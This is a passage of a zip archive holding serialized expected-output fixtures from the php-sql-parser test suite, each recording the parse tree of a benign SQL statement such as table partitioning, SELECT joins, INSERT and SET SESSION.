                )";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p1";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p1";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:23:"VALUES LESS THAN (2000)";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(2000)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"2000";s:8:"sub_tree";b:0;}}}}}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s2";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s2";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk2/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk2/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk2/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk2/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s3";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s3";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk3/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk3/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk3/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk3/idx'";}}}}}}}}}i:2;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:351:"PARTITION p2 VALUES LESS THAN MAXVALUE (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p2";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p2";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:25:"VALUES LESS THAN MAXVALUE";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"MAXVALUE";}}}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s4";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s4";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk4/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk4/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk4/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk4/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s5";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s5";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk5/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk5/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk5/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk5/idx'";}}}}}}}}}}}}}}PK     \[
V(  (  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue67a.serializednu [        a:1:{s:3:"SET";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"SESSION";s:8:"position";i:4;}i:1;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:43:"group_concat_max_len = @@max_allowed_packet";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:16:"session_variable";s:9:"base_expr";s:20:"group_concat_max_len";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:20:"group_concat_max_len";}}s:8:"sub_tree";b:0;s:8:"position";i:12;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:33;}i:2;a:5:{s:9:"expr_type";s:16:"session_variable";s:9:"base_expr";s:20:"@@max_allowed_packet";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:18:"max_allowed_packet";}}s:8:"sub_tree";b:0;s:8:"position";i:35;}}s:8:"position";i:12;}}}PK     \xr  r  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue52.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:1:"b";s:8:"sub_tree";b:0;s:8:"position";i:14;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:8:"sub_tree";b:0;s:8:"position";i:22;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IN";s:8:"sub_tree";b:0;s:8:"position";i:24;}i:2;a:4:{s:9:"expr_type";s:7:"in-list";s:9:"base_expr";s:6:"(1, 2)";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:28;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;s:8:"position";i:31;}}s:8:"position";i:27;}}}PK     \BWIk    H  vendor/greenlion/php-sql-parser/tests/expected/parser/insert1.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"into";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:15:"SETTINGS_GLOBAL";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:15:"SETTINGS_GLOBAL";}}s:5:"alias";b:0;s:9:"base_expr";s:15:"SETTINGS_GLOBAL";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:20:"(stg_value,stg_name)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"stg_value";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"stg_value";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"stg_name";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"stg_name";}}}}}}s:6:"VALUES";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:16:"('','force_ssl')";s:4:"data";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:11:"'force_ssl'";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \-    J  vendor/greenlion/php-sql-parser/tests/expected/parser/backtick1.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:9:"base_expr";s:4:"test";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:8:"(`name`)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`name`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"name";}}}}}}s:6:"VALUES";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:43:"('ben\'s test containing an escaped quote')";s:4:"data";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:41:"'ben\'s test containing an escaped quote'";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \E*4  4  F  vendor/greenlion/php-sql-parser/tests/expected/parser/left1.serializednu [        a:2:{s:6:"SELECT";a:3:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"a.field1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:6:"field1";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:7;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"b.field1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:6:"field1";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:17;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"c.field1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"c";i:1;s:6:"field1";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:27;}}s:4:"FROM";a:3:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tablea";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tablea";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";s:8:"position";i:58;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"tablea a";s:8:"sub_tree";b:0;s:8:"position";i:51;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tableb";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tableb";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:9:"base_expr";s:1:"b";s:8:"position";i:88;}s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"b.ida";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:3:"ida";}}s:8:"sub_tree";b:0;s:8:"position";i:93;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:99;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"a.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:2:"id";}}s:8:"sub_tree";b:0;s:8:"position";i:101;}}s:9:"base_expr";s:24:"tableb b ON b.ida = a.id";s:8:"sub_tree";b:0;s:8:"position";i:81;}i:2;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tablec";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tablec";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:9:"base_expr";s:1:"c";s:8:"position";i:133;}s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"c.idb";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"c";i:1;s:3:"idb";}}s:8:"sub_tree";b:0;s:8:"position";i:138;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:144;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"b.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:2:"id";}}s:8:"sub_tree";b:0;s:8:"position";i:146;}}s:9:"base_expr";s:24:"tablec c ON c.idb = b.id";s:8:"sub_tree";b:0;s:8:"position";i:126;}}}PK     \X    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue74b.serializednu [        a:1:{s:4:"DROP";a:4:{s:9:"expr_type";s:6:"schema";s:6:"option";b:0;s:9:"if-exists";b:0;s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"SCHEMA";s:8:"position";i:5;}i:1;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:4:"blah";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"schema";s:9:"base_expr";s:4:"blah";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"blah";}}s:5:"delim";b:0;s:8:"position";i:12;}}s:8:"position";i:12;}}}}PK     \>W6    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue50.serializednu [        a:1:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";b:0;s:9:"base_expr";s:9:"_utf8'hi'";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"_utf8";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"_utf8";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"'hi'";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \W  W  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue78a.serializednu [        a:3:{s:7:"EXPLAIN";a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"EXTENDED";s:8:"position";i:8;}s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:24;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"foo.bar";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"foo.bar";s:8:"sub_tree";b:0;s:8:"position";i:31;}}}PK     \
7B    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue37.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:9:"base_expr";s:4:"test";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:16:"(`name`, `test`)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`name`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"name";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`test`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}}}}}s:6:"VALUES";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:63:"('Hello this is what happens
 when new lines are involved', '')";s:4:"data";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:57:"'Hello this is what happens
 when new lines are involved'";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \<QT.  .  H  vendor/greenlion/php-sql-parser/tests/expected/parser/insert3.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"surveys";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"surveys";}}s:5:"alias";b:0;s:9:"base_expr";s:7:"surveys";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:563:"( SID, OWNER_ID, ADMIN, ACTIVE, EXPIRES, STARTDATE, ADMINEMAIL, ANONYMIZED, FAXTO, FORMAT, SAVETIMINGS, TEMPLATE, LANGUAGE, DATESTAMP, USECOOKIE, ALLOWREGISTER, ALLOWSAVE, AUTOREDIRECT, ALLOWPREV, PRINTANSWERS, IPADDR, REFURL, DATECREATED, PUBLICSTATISTICS, PUBLICGRAPHS, LISTPUBLIC, HTMLEMAIL, TOKENANSWERSPERSISTENCE, ASSESSMENTS, USECAPTCHA, BOUNCE_EMAIL, EMAILRESPONSETO, EMAILNOTIFICATIONTO, TOKENLENGTH, SHOWXQUESTIONS, SHOWGROUPINFO, SHOWNOANSWER, SHOWQNUMCODE, SHOWWELCOME, SHOWPROGRESS, ALLOWJUMPS, NAVIGATIONDELAY, NOKEYBOARD, ALLOWEDITAFTERCOMPLETION )";s:8:"sub_tree";a:44:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"SID";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"SID";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"OWNER_ID";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"OWNER_ID";}}}i:2;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"ADMIN";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"ADMIN";}}}i:3;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"ACTIVE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"ACTIVE";}}}i:4;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"EXPIRES";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"EXPIRES";}}}i:5;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"STARTDATE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"STARTDATE";}}}i:6;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"ADMINEMAIL";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"ADMINEMAIL";}}}i:7;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"ANONYMIZED";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"ANONYMIZED";}}}i:8;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"FAXTO";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"FAXTO";}}}i:9;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"FORMAT";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"FORMAT";}}}i:10;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"SAVETIMINGS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"SAVETIMINGS";}}}i:11;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"TEMPLATE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"TEMPLATE";}}}i:12;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"LANGUAGE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"LANGUAGE";}}}i:13;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"DATESTAMP";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"DATESTAMP";}}}i:14;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"USECOOKIE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"USECOOKIE";}}}i:15;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:13:"ALLOWREGISTER";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"ALLOWREGISTER";}}}i:16;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"ALLOWSAVE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"ALLOWSAVE";}}}i:17;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"AUTOREDIRECT";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"AUTOREDIRECT";}}}i:18;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"ALLOWPREV";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"ALLOWPREV";}}}i:19;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"PRINTANSWERS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"PRINTANSWERS";}}}i:20;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"IPADDR";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"IPADDR";}}}i:21;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"REFURL";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"REFURL";}}}i:22;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"DATECREATED";s:9:"no_quotes";a: